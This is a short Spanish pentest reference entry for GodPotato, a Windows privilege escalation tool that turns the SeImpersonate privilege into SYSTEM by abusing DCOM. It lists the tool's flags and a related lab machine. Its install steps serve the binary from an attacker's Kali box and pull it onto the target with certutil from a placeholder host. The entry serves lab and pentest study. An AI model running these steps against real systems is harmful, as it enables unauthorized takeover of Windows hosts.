GodPotato

SeImpersonate → SYSTEM en Windows modernos (sucesor de Juicy/RoguePotato).

Exploit de escalada actual que convierte SeImpersonate en SYSTEM en Windows modernos (8/10/11 y Server 2012-2022), donde ya no funcionan JuicyPotato ni RoguePotato. Abusa de DCOM sobre RPC.

Familia Escalada de privilegios

Flags -cmd '<cmd>'

Conceptos SeImpersonate and Potato attacks

Cheatsheet Privilegios de token → SYSTEM

Instalación

# Binario ya compilado para Windows (no se instala en Kali): descargar el .exe de la
# ultima release del repo y subirlo al objetivo, p.ej. sirviendolo desde Kali:
python3 -m http.server 80                              # en Kali, en la carpeta del binario
certutil -urlcache -f http://<lhost>/GodPotato-NET4.exe GodPotato-NET4.exe      # en el objetivo (o SMB / 'upload' de evil-winrm)
# elige el build segun el .NET del objetivo (NET2/NET35/NET4)

Repositoriogithub.com/BeichenDream/GodPotato

Comandos útiles2 comandos

Aparece en

Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.

JackoProving Grounds Practice